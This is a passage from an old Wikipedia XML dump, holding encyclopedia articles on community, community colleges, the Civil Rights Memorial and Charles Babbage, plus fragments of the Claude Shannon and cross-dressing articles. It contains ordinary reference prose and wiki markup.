*[http://www.adeptis.ru/vinci/m_part5.html Photos]

[[Category:1916 births|Shannon, Claude E.]]
[[Category:2001 deaths|Shannon, Claude E.]]
[[Category:Computer pioneers|Shannon, Claude E.]]
[[Category:Pre-computer cryptographers|Shannon, Claude E.]]
[[Category:Electrical engineers|Shannon, Claude E.]]
[[Category:American mathematicians|Shannon, Claude E.]]
[[Category:American engineers|Shannon, Claude E.]]
[[Category:MIT alumni|Shannon, Claude E.]]
[[Category:National Medal of Science recipients|Shannon]]

{{Cybernetics}}

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      <text xml:space="preserve">#Redirect [[Crack]]</text>
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    <title>Community</title>
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      <comment>Reverted edits by [[Special:Contributions/207.28.14.2|207.28.14.2]] to last version by SundarBot</comment>
      <text xml:space="preserve">{{OtherUses|a group of people}}

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A '''community''' is an amalgamation of living things that share an [[environment]]. The individual living beings can be [[plant]] or [[animal]]; any [[species]]; any size. What characterizes a community is sharing interaction in many ways. In [[human]] communities, intent, [[belief]], [[resources]], preferences, needs and a multitude of other conditions may be present and common, affecting the degree of adhesion within the mixture, but the definitive driver of community is that all individual subjects in the mix have ''something'' in common. This is even true in [[biological]] communities.


== The context of community ==
From the days of the hunter-gatherer culture, individual humans have formed communities. A sense of community is the aspect of giving of one's self to others. Related  etymology for ''munere'' expands the meaning to included something prized, precious and worth defending. It is the same root as used for the word ''[[munition]]s'' (defences). Sharing in this &quot;[[defense (military)|common defence]]&quot; incorporates a balance between self-interest and shared-interests within and among members of a group and is a crucial factor in community formation. When enough participants in a group develop an attitude of caring for the well-being of the [[whole]], or the [[common good]], the prospect of community is present.

Whatever drives people to cooperate and collaborate in the first place, is not quite as important in the context of community as what makes them continue to associate. Resilient connections between and among people are what is important in the formation of viable communities. Successful efforts by a mix of participants tend to attract the attention of other less connected individuals who may seek to [[join]] the group that is succeeding. This tendency, akin to [[Herd behaviour#The concept of herd behaviour as applied to human societies .28crazes.29|herd behavior]] in animals, is called [[Self-organization#Self-organization in human society|Self-organization]].

Over time, some parts of humanity have progressed steadily toward more complex forms of [[organization]] and control. [[anthropology|Hunter/gatherer]] tribes settled around seasonal foodstocks to become [[agrarian]] [[village]]s. Villages grew to become [[towns]] and [[cities]]. Cities turned into [[city-state]]s and [[nation-state]]s. The fact that [[commerce]], [[industry]], [[government]] and human [[institution]]s become ever larger and more complex suggests that humans, particularly those who are conversant with the [[rules]] that drive these complexes are themselves driven toward [[aggregation]], [[amalgamation]], and [[consolidation]]. When this increase in [[social capital]] reaches critical mass,  [[innovation]]s in [[social networks]] can begin to work toward a higher [[context]] through an inescapable cultural [[awareness]] of others. This [[phenomenon]] is generally called the [[emergence]] of [[collective consciousness]].

== The processes of community ==
It can be intuitively reasoned through subjective experience that we've all shared, regardless of [[culture]], [[social class|class]], [[religion]] or any other determinant, that we grow to learn who we are chiefly through contact with others. This is a progressive development which is as universal in Human experience as any single sociological component can be - the ''process'' of [[identification]]. A human being is born with a mind and a set of inherited traits. Without going into the argument of [[heredity]] with environment, it is reasonable to accept that the habits and behaviors that a person grows into are largely a function of the community group behaviors that prevailed through that process. That is the first process of community.

As an individual grows into an adult another process occurs. That being a progressive accumulation of facts, truths, and hopefully insights which all move together through the process of [[realization]]. It is during plateaus reached along this progression that cognitive structures are formed, attitudes toward the local world, the society viewable from within personal scope, and an understanding of how people relate one to the other and within the context of community. This process is called [[socialization]].

So, identification, realization and socialization brings an individual into a position of making choices about who he or she will socialize with and under what conditions and circumstances. From the perspective of the individual, selecting or deselecting groups to join is yet another process - the process of [[association (psychology)|association]]. When associated individuals develop the intent to give of themselves to the group and maintain all of the processes from identification to association they begin to bring into practice the first process of true community - the process of [[communication]].

== Problems of community ==
As communities form, so usually develops a [[collective consciousness]] and a set of [[mores]]. These serve to add cohesion, harmony and continuity to a group, allowing it to grow, sometimes to a gargantuan size. Once a critical mass of people adopts a set of mores and develops a collective consciousness it becomes a [[society]]. Participation is no longer optional for the individual. [[Behavior]] is now a function of being required or compelled to conform to the norm rather than choosing to give of one's self. This condition is sometimes thought of as the [[status quo]].

A natural outgrowth of stagnant societies and large organizations is an increased propensity in individuals and factions to deviate from the [[norm]]. When enough individuals and factions decide that deviation can be a good thing, a new community can form as a [[subculture]] within the society. This can be good for the society by creating [[dynamics]] that enhance the social experiences and improve the well-being of the whole. A [[moderate]] form of this occurrence is called a [[social movement]], while a [[radical]] form is called a [[revolution]].

Individuals and factions can decide to form alliances intent on repressing [[deviation]], eliminating or containing subcultures,  enforcing the status quo or even oppressing or destroying the parts of the society that do not suit them or fit into their idea of what the society as a whole is to represent.

In both tiny communities and massive societies, problematic conditions arise involving the emergence of leaders.  [[Leadership]] is a civic phenomenon that may introduce a high level of [[hierarchy]]. The structure of this hierarchy plays a key role in determining the characteristics of the whole. The community will effectively present to the larger world this [[personality|collective personality]].

== The sense of community ==
Continuity of the connections between leaders and leaders, leaders and followers, followers and followers is vital to the strength of a community. Members, both leaders and followers, individually hold the collective personality of the whole. With sustained [[connectivity|connections]] and continued [[conversation]]s, participants in communities, regardless of degrees of inclusion, develop emotional bonds, intellectual pathways, enhanced linguistic abilities, and even a higher capacity for critical thinking and problem-solving. It could be argued that successive and sustained contact with other humans might help to remove some of the tensions of isolation, due to [[disenfranchisement]], thus opening creative avenues that would have otherwise remained impassable.

Conversely, sustained involvement in tight communities might tend to aggravate tensions in some individuals. But, in many cases, it is easy enough to distance one's self from the ''&quot;'''[[hive mind|hive]]'''&quot;'' temporarily to ease this stress. In fact, psychological maturity and effective communication skills may well be a function of this ability. In nearly every context, individual and collective behaviours are required to find a balance between inclusion and exclusion; for the individual - a matter of choice; for the group - a matter of charter. The sum of the creative energy and the strength of the mechanisms that maintain this balance is manifest as an observable and resilient '''[[sense of community]]'''.

== The spirit of community ==
If the sense of community exists, both freedom and security exist as well.  The Community then takes on a life of its own, as people become free enough to share and secure enough to get along. This is the '''spirit of community'''.

[[Western]] [[cultures]] are losing this spirit of community that once were found in [[institutions]] such as [[churches]], [[community halls]] and rural/urban centres. [[Sociologist]] [[Ray Oldenburg]] proclaimed in his book &quot;[[A Great Good Place]]&quot; that we need three places: (1) The [[Home]], (2) The [[Workplace]], (3) [[Community]] hangout. With this philopshy in mind, many [[grassroots]] initiatives are being started to create this &quot;[[Third Place]]&quot; in our communities. They are taking form in our [[independent bookstores]], [[corner cafes]] and local [[pubs]].

===For more information===
* [http://www.amazon.com/gp/product/1569246815/002-0304888-9593668?v=glance&amp;n=283155 &quot;A Great Good Place&quot;] By Ray Oldenburg
* [[Independent bookstores]]
* [[Valley book shop]] as an example of a &quot;Third Place&quot;

== References ==
*[[Jean-Luc Nancy]], ''La Communauté désœuvrée'' (philosophical questioning of the concept of community and the possibility of encountering a non-[[subject (philosophy)|subjective]] concept of it)

==See also==

*Historian [[Benedict Anderson]]'s ''[[Imagined Communities]]''
*Philosopher [[Jean-Luc Nancy]]'s the ''Inoperative Community'' (1983)
*[[Community (disambiguation)]]
*[[Communitarianism]]
*[[Gemeinschaft and Gesellschaft]]
*[[Holism]]
*[[Nationalism]]
*[[Sense of community]]
*[[Community informatics]]
*[[Community: A NewOrderOnline Tribute]]

==External links==
* [http://www.edgelife.net/glossary/community.htm Nurture a multifaceted community]
* &quot;[http://www.newpantagruel.com/issues/2.3/community.php Community]&quot; in ''American Conservatism: An Encyclopedia''

[[Category:Community building]]

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    <title>Community college</title>
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      <text xml:space="preserve">In [[Canada]] and the [[United States]], a '''community college''', sometimes called a '''junior college''', is an educational institution providing [[post-secondary education]] and lower-level [[tertiary education]], granting [[certificate]]s, [[diploma]]s, and [[associate's degree]]s. The name derives from the fact that community colleges primarily accept and attract students from the local [[community]], and are often supported by the local community through property taxes. In Canada, community colleges are usually simply referred to as &quot;colleges&quot;.

In the [[United Kingdom]], '''community college''' is sometimes used to describe [[further education college]]s that provide part-time [[adult education]].

==Enrollment==

In North America, community colleges operate under a policy of &quot;open admission&quot;.  That is, anyone with a high school diploma or GED may attend, regardless of prior academic status or college entrance exam scores.

The &quot;open admission&quot; policy results in a wide range of students attending community college classes.  Students range in age from teenagers in [[high school]] taking classes under a &quot;concurrent enrollment&quot; policy (which allows both high school and college credits to be earned simultaneously) to working adults taking classes at night to complete a degree or gain additional skills in their field to students with graduate degrees who enroll to become more employable or to pursue lifelong interests. &quot;Reverse transfers&quot; (or those transferring from a university) constitute one of the fastest growing new community college college cohorts.

==Educational offerings==

Community colleges generally offer three levels of study programs.

The first level of study is toward an [[Associate's degree]], in which a student takes necessary courses needed to earn a degree that will allow for workforce entry into jobs requiring some level of college education but not a full four-year degree.  The Associate's degree program also allows for students who wish to eventually obtain a [[bachelor's degree]] at a four-year college to complete the necessary &quot;core&quot; requirements to attend the college of their choice[http://www.academicforum.co.uk/university/home .]

Many community colleges have arrangements with nearby four-year institutions, where a student obtaining an associate's degree in a field will automatically have his/her classes counted toward the bachelor's degree requirement.  (For example, a community college associate's degree in hotel and restaurant management, computers or accounting would count toward the four-year school's core requirement for a Business Administration degree.)  Some have gone one step further, having arrangements with a four-year college for the student to obtain the bachelor's degree from the four-year college while taking all the courses via [[distance learning]] or other non-traditional modes,  on the community college campus, thus limiting the number of trips to the four-year school.

The second level of study is towards certification in an area of [[vocational or occupational education|training]] (such as nursing, computer repair, or welding), which require preparation for a state or national examination, or where certification would allow for hiring preference and/or a higher salary upon entering the workforce.

The third level of study offers services of local interest to members of the community, such as job placement, adult continuing-education classes (either for personal achievement or to maintain certification in specialized fields), and developmental classes for children.  Some community colleges offer opportunities for students to return and earn a high school diploma or obtain a GED.  Community colleges often work with local employeers to develop specialized classes tailored toward their organization's needs.

==Advantages of community colleges==

*Community colleges are geared toward local students and local needs.  Students who could not afford campus or off-site housing at a four-year college, or for other reasons cannot relocate, can attend courses while staying in their local community.  Also, community colleges can work with local businesses to develop customized training geared toward local needs, whereas a four-year institution generally focuses on state-wide and/or national needs. Some community colleges have programs allowing local high school students to &quot;jump start&quot; their college career by taking classes at the community college that also count toward their high school diploma. Policies and classes offered vary with different agreements existing between the community college and high schools.
*The &quot;open enrollment&quot; policy allows anyone to begin the goal towards future college education.  The policy is highly beneficial to students with mediocre academic records in high school (or who dropped out and later obtained a GED), students &quot;maturing&quot; later in life who now see the benefits of college education, or students who could not attend college after high school but now have the chance to do so.
*In North America, tuition and fees are substantially lower than those of a traditional four-year public or private institution. (This is not true in China where community college tuition exceeds that of the university.)  Students from low-income families, or those having to work to pay for their education, benefit from the reduced costs.  Many colleges offer and accept scholarships or educational grants.
*Community colleges have little or no time limits on when classes must be taken or a degree must be earned (many four-year schools, tired of &quot;[[professional student|professional students]]&quot; taking up limited space, have imposed limits on when a degree can be earned).  Students who must hold down full-time employment, and who cannot take a full-term load, are thus not under pressure to complete courses in a limited timeframe.
*Four-year colleges often give priority to students transferring from community colleges, citing their demonstrated preparedness for junior and senior college-level work.  Students who may not have been able to attend a particular college after high school (either for academic, financial, and/or personal reasons), may now be able to attend the college of their choice.
*Community college professors are solely dedicated to teaching, and classes are generally small, whereas a four-year college course may be taught to 300 students by a student intern, while the professor is concentrating on research.  Most professors have [[Master's degree]]s and some even hold [[doctorate]] degrees.
*Several community colleges have tremendously successful athletic programs, where students have gone on to play for major colleges and/or the professional ranks. Others offer no athletic programs.
*Research shows there is no learning or income penalty for individuals who start at a community college and transfer to a four-year institution. Additionally, research indicates students who begin their higher education career at a community college are more likely to transfer to a higher quality four-year institution than if they had started at a four-year college.

==Disadvantages of community colleges==
*Transferring credits can sometimes be a problem, as each four-year college has its own requirements as to what is and isn't required for enrollment.  However, many four-year colleges (usually nearby to the community college) have made arrangements allowing associate degrees to qualify for transfer, and in some cases allowing the student to complete the bachelor's degree via [[distance learning]] from the community college campus. [[Minnesota]] has created a statewide &quot;transfer curriculum&quot; allowing credits to be transfered to any other public university and almost all of the private colleges. Illinois' &quot;I-transfer&quot; program is a model articulation program (www.itransfer.org.)
*It is frequent for many courses to be taught by part-time [[lecturer]]s holding only a Master's degree in the field, although there is little evidence, other than anecdotal, to indicate that taking a class from a full-time college instructor leads to higher order learning outcomes.
*Few community colleges have on-campus housing. This makes it more difficult for students to participate in extra-curricular activities.
*Many community colleges do not offer any athletic programs other than basic physical education classes.
*Research shows individuals with Associate's degrees earn less than those with Bachelor's degrees. Because a correlation exists between years of education and earnings, this says more about years of schooling than the value of Associate's degrees or certificates, which have a strong value in the workplace.

==Community college libraries==
Community college libraries, also called learning resources centers, have evolved over their existence.  These libraries often include traditional library services such as book checkout, online research tools, and research help, but they also have included multimedia technology expertise, video centers, tutor centers and support services.  Community college libraries play a significant role in the college curriculum by supporting information literacy across campus.  The librarians spend a significant amount of their work week in the classroom teaching students about information, to select research tools, to evaluate search results, and to use their results in papers, speeches, or in other projects.  For this reason, community college librarians are considered full faculty members at most institutions.  Community college libraries are often at the cutting edge of research services, because they are able to change faster than their larger cousins at major research institutions.  

==See also==
*[[Adult education]]
*[[Adult high school]]
*[[Continuing education]]
*[[Distance learning]]
*[[E-learning]]
*[[Lifelong learning]]
*[[The Teaching Company]]
*[[Vocational education]]

In Australia
*[[Technical and Further Education]] 
*[[Workers' Educational Association]] also in the UK

===North American community colleges===
{{seealso|List of community colleges}} 

*[[List of Ontario Colleges of Applied Arts and Technology|Ontario Colleges]]
*[[California Community Colleges system]]
*[[CEGEP|Quebec CEGEPs]]

==External links==

* [http://www.aacc.nche.edu/ American Association of Community Colleges]
* [http://www.acct.org/ Association of Community College Trustees]
* [http://www.communitycolleges.org/ Illinois Community College Trustees Association
* [http://www.acc.eu.org/ Association for Community Colleges - a new European movement]
* [http://www.league.org/ League for Innovation]
* [http://www.libraryinstruction.com/lrc.html The Instructional Role of the Two-Year College Learning Resources Center]
* [http://www.communitycollegepolicy.org/ Center for Community College Policy]
* [http://www.ericdigests.org/2003-3/economic.htm The Economic Outcomes of Community College Attendance]
* [http://www.ericdigests.org/2004-1/building.htm Building an Instructional Framework for Effective Community College Developmental Education]
* [http://www.ericdigests.org/1992-5/role.htm The Role of Scholarship in the Community College]
* [http://www.ericdigests.org/pre-9217/college.htm Internationalizing the Community College: Examples of Success]
* [http://www.50states.com/cc/ Community Colleges in the United States]
* [http://www.jjc.edu/admin/ie Institutional Effectiveness at a Community College]
* [http://suburbdad.blogspot.com  Confessions of a Community College Dean (Blog)]
* [http://www.nisod.org NISOD (The University of Texas)]

[[Category:Vocational education]]
[[Category:University and college types]]</text>
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  <page>
    <title>Civil Rights Memorial</title>
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      <minor />
      <comment>Fix disambiguation.</comment>
      <text xml:space="preserve">The '''Civil Rights Memorial''' in [[Montgomery, Alabama]] is a [[memorial]] to 40 people who died in the struggle for equal and integrated treatment of people of [[Europe|European]] and [[Africa|African]] descent. The memorial is sponsored by the [[Southern Poverty Law Center]].

The names included belong to those who died between 1954 and 1968. Those dates were chosen because in 1954 the [[US Supreme Court]] ruled that [[racial segregation]] in schools was unlawful. 1968 is the year of [[Martin Luther King]]'s [[assassination]]. The monument was created by [[Maya Lin]] who also created the [[Vietnam Veterans Memorial]] in [[Washington, D.C.]] The memorial was dedicated in 1989.
  
The concept of Maya Lin's design is based on the soothing and healing effect of [[water]]. It was inspired by [[Martin Luther King]]'s quotation ''&quot;... we will not be satisfied until justice rolls down like waters and righteousness like a mighty stream. ...&quot;'', from the ''[[I Have a Dream]]'' speech, delivered at the [[National Mall]], [[Washington D.C.]] August 28, 1963. The memorial is a round stone inverted [[Cone (solid)|cone]], which is a [[fountain]]. A film of water flows over the base of the cone, which contains the 40 names. It is possible to touch the smooth film of water and temporarily alter the surface film, which quickly returns to smoothness.

As such, the memorial represents the aspiration of the [[American civil rights movement]] against [[racism]].


[[Category:Alabama landmarks]]
[[Category:History of civil rights in the United States]]
[[Category:Memorials]]
[[Category:Montgomery County, Alabama|*Civil Rights Memorial]]</text>
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    <title>Charles Babbage</title>
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      <text xml:space="preserve">[[image:CharlesBabbage.jpg|thumb|Charles Babbage]]
'''Charles Babbage''' ([[26 December]] [[1791]] – [[18 October]] [[1871]]) was an [[United Kingdom|English]] [[mathematician]], analytical philosopher, [[mechanical engineer]] and (proto-) [[computer scientist]] who originated the idea of a ''programmable'' [[computer]].  Parts of his uncompleted mechanisms are on display in the [[London Science Museum]]. In [[1991]], working from Babbage's original plans, a [[difference engine]] was completed, and functioned perfectly. It was built to tolerances achievable in the 19th century, indicating that Babbage's machine would have worked. Nine years later, the Science Museum completed the [[printer]] Babbage had designed for the difference engine; it featured astonishing complexity for a 19th-century device.

==Life==
Charles  Babbage was born in [[England]], most likely at 44 Crosby Row, [[Walworth Road]], [[London]]. A [[blue plaque]] on the junction of Larcom Street and Walworth Road commemorates the event. There was a discrepancy regarding the date of Babbage's birth, which was published in ''The Times'' obituary as [[26 December]] [[1792]]. However, days later a nephew of Babbage wrote to say that Babbage was born precisely one year earlier, in [[1791]]. The parish register of [[St. Mary's Newington]], London, shows that Babbage was baptised on [[6 January]] [[1792]] [http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Babbage.html].

Babbage's father, [[Benjamin Babbage]], was a banking partner of the Praeds who owned the Bitton Estate in [[Teignmouth]]. His mother was Betsy Plumleigh Babbage. In [[1808]], the Babbage family moved into the old Rowdens house in East [[Teignmouth]], and Benjamin Babbage became a warden of the nearby St. Michael’s Church.

===Education===
His father's money allowed Charles to receive instruction from several schools and tutors during the course of his elementary education. Around age eight he was sent to a country school to recover from a life-threatening fever. His parents ordered that his &quot;brain was not to be taxed too much&quot; and Babbage felt that &quot;this great idleness may have led to some of my childish reasonings.&quot; He was sent to King Edward VI Grammar School in [[Totnes]], [[Devon|South Devon]], a thriving comprehensive school still extant today, but his health forced him back to private tutors for a time. He then joined a 30-student academy under Reverend Stephen Freeman. The academy had a well-stocked library that prompted Babbage's love of mathematics. He studied with two more private tutors after leaving the academy. Of the first, a clergyman near Cambridge, Babbage said, &quot;I fear I did not derive from it all the advantages that I might have done.&quot; The second was an Oxford tutor from whom Babbage learned enough of the Classics to be accepted to Cambridge.

Babbage arrived at [[Trinity College, Cambridge|Trinity College]], [[Cambridge]] in October [[1810]]. He had read extensively in [[Leibniz]], [[Lagrange]], [[Thomas Simpson|Simpson]], and [[Lacroix]] and was seriously disappointed in the mathematical instruction available at Cambridge. In response, he, [[John Herschel]], [[George Peacock]], and several other friends formed the [[Analytical Society]].

In [[1812]] Babbage transferred to [[Peterhouse]], [[Cambridge]]. He was the top mathematician at Peterhouse, but failed to graduate with honours. He instead received an honorary degree without examination in 1814.

===Marriage===
On [[25 July]] [[1814]], Babbage married Georgiana Whitmore at St. Michael's Church in [[Teignmouth]], [[Devon]]. His father did not approve of the marriage. The couple lived happily at 5 Devonshire Street, Portland Place, London. They had eight children, but only three lived to adulthood. Charles' father, his wife Georgiana Babbage, and one son all died in [[1827]].

===Children===
*Benjamin Herschel Babbage (born [[6 August]] [[1815]])
*Charles Whitmore Babbage (born [[22 January]] [[1817]])
*Georgiana Whitmore Babbage (born [[17 July]] [[1818]])
*Edward Stewart Babbage (born [[15 December]] [[1819]])
*Francis Moore Babbage (born [[1 June]] [[1821]])
*Dugald Bromheald Babbage (born [[13 March]] [[1823]])
*Henry Prevost Babbage (born [[16 September]] [[1824]])

==Design of computers==

In recognition of the high error rate in the calculation of mathematical tables, Babbage wanted to find a method by which they could be calculated mechanically, removing human sources of error. Three different factors seem to have influenced him: a dislike of untidiness; his experience working on [[logarithm|logarithmic tables]]; and existing work on calculating machines carried out by [[Wilhelm Schickard]], [[Blaise Pascal]], and [[Gottfried Leibniz]]. He first discussed the principles of a calculating engine in a letter to Sir [[Humphrey Davy]] in [[1822]].

[[Image:BabbageDifferenceEngine.jpg|thumb|right|Part of Babbage's difference engine, assembled after his death by Babbage's son, using parts found in his laboratory.]]

Babbage's engines were among the first mechanical computers. His engines were not actually completed, largely because of funding problems and personality issues. Babbage realized that a machine could do the work better and more reliably than a human being. Babbage controlled building of some steam-powered machines that more or less did their job; calculations could be mechanized to an extent. Although Babbage's machines were mechanical monsters their basic architecture was astonishingly similar to a modern computer. The data and program memory were separated, operation was instruction based, control unit could make conditional jumps and the machine had a separate I/O unit. Inventions not talked about here but worth mentioning are: The [[cowcatcher]], [[dynamometer]], [[standard railroad gauge]], uniform [[postal rates]], [[occulting lights]] for lighthouses, [[Greenwich Time signals]], and [[heliograph ophthalmoscope]].

===[[Difference engine]]===
In Babbage’s time numerical tables were calculated by humans called ‘computers’. At Cambridge he saw the high error rate of the people computing the tables and thus started his life’s work in trying to calculate the tables mechanically, removing all human error. He began in 1822 with what he called the difference engine, made to compute values of polynomial functions. 

Unlike similar efforts of the time, Babbage's difference engine was created to calculate a series of values automatically. By using the method of finite differences, it was possible to avoid the need for multiplication and division.

The first difference engine needed around 25,000 parts of a combined weight of fifteen tons standing eight feet high.  Although he received much funding for the project, he did not complete it. He later designed an improved version, &quot;Difference Engine No. 2&quot;. This was not constructed at the time, but was built using his plans in 1989-1991, to 19th century tolerances, and performed its first calculation at the London Science Museum bringing back results to 31 digits, far more than the average modern pocket calculator.

===Printer===
Babbage designed a printer for the second difference engine which had some remarkable features; it supported line-wrapping, variable column and row width, and programmable output formatting.

===Analytical engine===
Soon after the attempt at making the difference engine crumbled, Babbage started designing a different, more complex machine called the [[Analytical Engine]].  The engine is not a single physical machine but a succession of designs that he tinkered with until his death in 1871. The main difference between the two engines is that the Analytical Engine could be programmed using [[punch cards]], an idea unheard of in his time. He realized that programs could be put on similar cards so the person had to only create the program initially, and then put the cards in the machine and let it run. The analytical engine was also proposed to use loops of [[Jacquard loom|Jacquard]]'s punched cards to control a mechanical calculator, which could formulate results based on the results of preceding computations.  This machine was also intended to employ several features subsequently used in modern computers, including sequential control, branching, and looping, and would have been the first mechanical device to be [[Turing-complete]].

[[Ada Lovelace]], an impressive mathematician and one of the few people who totally understood Babbage's vision, created a program for the Analytical Engine. Had the Analytical Engine ever actually been built, her program would have been able to calculate a numerical sequence known as the [[Bernoulli numbers]]. Based on this work, Ada is now credited as being the first [[programmer|computer programmer]] and, in 1979, a contemporary programming language was named [[Ada programming language|Ada]] in her honour.  Shortly afterward, in 1981, a satirical article in Datamation magazine described the [http://www.tlc-systems.com/babbage.htm Babbage programming language], the &quot;language of the future&quot;.

==Other accomplishments==

In [[1824]], Babbage won the [[Gold Medal of the Royal Astronomical Society]] &quot;for his invention of an engine for calculating mathematical and astronomical tables&quot;.

From [[1828]] to [[1839]] Babbage was [[Lucasian professor]] of mathematics at Cambridge. He contributed largely to several scientific periodicals, and was instrumental in founding the Astronomical Society in [[1820]] and the Statistical Society in [[1834]]. However, he dreamt of designing mechanical calculating machines. 

:“... I was sitting in the rooms of the Analytical Society, at Cambridge, my head leaning forward on the table in a kind of dreamy mood, with a table of logarithms lying open before me. Another member, coming into the room, and seeing me half asleep, called out, Well, Babbage, what are you dreaming about?&quot; to which I replied &quot;I am thinking that all these tables&quot; (pointing to the logarithms) &quot;might be calculated by machinery. &quot; 

In [[1837]], responding to the official eight ''[[Francis Henry Egerton, 8th Earl of Bridgewater|Bridgewater Treatises]] &quot;On the Power, Wisdom and Goodness of God, as manifested in the Creation&quot;'', he published his ''Ninth Bridgewater Treatise'' putting forward the thesis that God had the omnipotence and foresight to create as a divine legislator, making laws (or programs) which then produced species at the appropriate times, rather than continually interfering with ''ad hoc'' miracles each time a new species was required. The book is a work of [[natural theology]]. The book incorporated extracts from correspondence he had been having with [[John Herschel]] on the subject.

Charles Babbage also achieved notable results in [[cryptography]]. He broke Vigenère's [[autokey cipher]] as well as the much weaker cipher that is called [[Vigenère cipher]] today. The autokey cipher was generally called &quot;the undecipherable cipher&quot;, though owing to popular confusion, many thought that the weaker polyalphabetic cipher was the &quot;undecipherable&quot; one. Babbage's discovery was used to aid English military campaigns, and was not published until several years later; as a result credit for the development was instead given to [[Friedrich Kasiski]], who made the same discovery some years after Babbage.

Babbage also invented the [[Pilot (locomotive)|pilot]] (also called a cow-catcher), the metal frame attached to the front of locomotives that clears the tracks of obstacles in 1838. He also performed several studies on [[Isambard Kingdom Brunel]]'s [[Great Western Railway]].

He only once endeavoured to enter public life, when, in [[1832]], he stood unsuccessfully for the borough of [[Finsbury]]. He came in last in the polls.

==Eccentricities==
Babbage once counted all the broken panes of glass of a factory, publishing in 1857 a &quot;Table of the Relative Frequency of the Causes of Breakage of Plate Glass Windows&quot;: 14 of 464 were caused by &quot;drunken men, women or boys&quot;.  His distaste for commoners (&quot;the Mob&quot;) included writing &quot;Observations of Street Nuisances&quot; in 1864, as well as tallying up 165 &quot;nuisances&quot; over a period of 80 days; he especially hated [[street music]].  He was also obsessed with [[fire]], once baking himself in an oven at 265°F (130°C) for four minutes &quot;without any great discomfort&quot; and to &quot;see what would happen.&quot; Later, he arranged to be lowered into [[Mount Vesuvius]] in order to view molten [[lava]] for himself.

==Named after Babbage==
*[[Babbage (crater)|Babbage crater]], on the [[Moon]], is named in his honor.  

==References==
* Charles Babbage. ''Passages from the Life of a Philosopher''. ISBN 1851960406.
* Anthony Hyman. ''Charles Babbage: Pioneer of the Computer''. ISBN 0691023778.
* Maboth Moseley. ''Irascible Genius: A Life of Charles Babbage, Inventor''.
* Doron Swade. ''The Cogwheel Brain''. ISBN 03166484772.

==See also==
* [[History of computing hardware]]
* [[Ada Byron]], Countess of Lovelace, described and programmed the analytical engine
* [[Francis Henry Egerton%2C 8th Earl of Bridgewater| Earl of Bridgewater]] for other ''Bridgewater Treatise''

== External links ==
{{wikiquote}}
* {{MacTutor Biography|id=Babbage}}
* [http://www.sciencemuseum.org.uk/on-line/babbage/index.asp Science Museum's exhibit on the Difference engine]
* [http://socserv2.socsci.mcmaster.ca/~econ/ugcm/3ll3/babbage/index.html ''Economy of Machinery and Manufactures''] at [http://socserv2.socsci.mcmaster.ca/~econ/ugcm/3ll3/ Archive for the History of Economic Thought]
*{{gutenberg author|id=Charles_Babbage|name=Charles Babbage}}
* [http://www.victorianweb.org/science/science_texts/bridgewater/b1.htm The Ninth Bridgewater Treatise]
* [[Francis Baily]], &quot;On Mr. Babbage's new machine for calculating and printing mathematical and astronomical tables&quot; [http://adsabs.harvard.edu//full/seri/AN.../0002//0000227.000.html ''Astronomische Nachrichten'', '''2''' (1824) 407/408]
* &quot;Address of the President of the [[Royal Astronomical Society|Astronomical Society of London]], on presenting the [[Gold Medal of the Royal Astronomical Society|Gold Medal]] of the Society to ''Charles Baggage'' [sic], Esq.&quot; [http://adsabs.harvard.edu//full/seri/AN.../0003//0000098.000.html ''Astronomische Nachrichten'', '''3''' (1825) 169/170]
* [http://adsabs.harvard.edu//full/seri/MNRAS/0032//0000101.000.html Obituary of Charles Babbage in ''Monthly Notices of the Royal Astronomical Society'', '''32''' (1872) 101]
** Babbage's grave is in [[Kensal Green Cemetery]] London. [http://web.uvic.ca/~rutherfo/mr_grvs.html Famous Economists Grave Sites].
* [http://vmoc.museophile.org/babbage/ Charles Babbage] information in the [[Virtual Museum of Computing]]
* [http://www.smartcomputing.com/editorial/dictionary/detail.asp?guid=&amp;searchtype=&amp;DicID=16692&amp;RefType=Encyclopedia Smart Computing Encyclopedia ''Charles Babbage&quot;]

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|NAME=Babbage, Charles
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=[[England|English]] [[computer]] pioneer
|DATE OF BIRTH=[[December 26]], [[1791]]
|PLACE OF BIRTH=[[London]], [[England]]
|DATE OF DEATH=[[October 18]], [[1871]]
|PLACE OF DEATH=[[London]], [[England]]
}}
{{lifetime|1791|1871|Babbage, Charles}}
[[Category:19th century philosophers|Babbage, Charles]]
[[Category:Alumni of Peterhouse, Cambridge|Babbage, Charles]]
[[Category:Alumni of Trinity College, Cambridge|Babbage, Charles]]
[[Category:Anglicans|Babbage, Charles]]
[[Category:Business theorists|Babbage, Charles]]
[[Category:Christians in science|Babbage]]
[[Category:Computer designers|Babbage, Charles]]
[[Category:Computer pioneers|Babbage, Charles]]
[[Category:English inventors|Babbage, Charles]]
[[Category:English mathematicians|Babbage, Charles]]
[[Category:Fellows of the Royal Society|Babbage, Charles]]
[[Category:Londoners|Babbage, Charles]]
[[Category:Mechanical calculators|Babbage, Charles]]
[[Category:People buried in Kensal Green Cemetery|Babbage, Charles]]
[[Category:Pre-computer cryptographers|Babbage, Charles]]

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  <page>
    <title>Cross-dressing</title>
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      <comment>/* Famous historical examples of cross-dressing people */  dab. Catholic</comment>
      <text xml:space="preserve">''This articles is about cross-dressing in general. For specific information about cross-dressing for sexual reasons, see [[Transvestic fetishism]].'' Compare also the [[List of transgender-related topics]] and [[Transvestism (disambiguation)]].

'''Cross-dressing''' is the act of wearing [[Clothes|clothing]] commonly associated with another [[gender role|gender]] within a particular [[society]]. The usage of the term, the types of cross-dressing both in modern times and throughout history, an analysis of the behaviour, and historical examples are discussed in the article below. 

==Usage==

Nearly every society throughout history has had a set of [[Social aspects of clothing|norms, views, guidelines, or laws, regarding the wearing of clothing]] and what is appropriate for each sex. Cross-dressing is behavior which runs counter to those norms and therefore can be seen as a type of [[transgender]] [[behavior]].  It is not, however, necessarily transgender [[gender identity|identity]] since a person who cross-dresses does not always identify with the other sex.

The term '''cross-dress''ing''''' denotes an action or a behavior without attributing or proposing causes for that behavior. Some people automatically connect cross-dressing behavior to transgender identity or sexual, fetishist, and [[homosexuality|homosexual]] behavior, but the term ''cross-dressing'' itself does not imply any motives. (See &quot;Equal clothing rights&quot; below.) However, referring to a person as a '''cross-dress''er''''' suggests that their cross-dressing behavior is habitual and may be taken to mean that the person identifies as transgendered.  The term cross-dresser should therefore be used with care to avoid causing misunderstanding or offense.

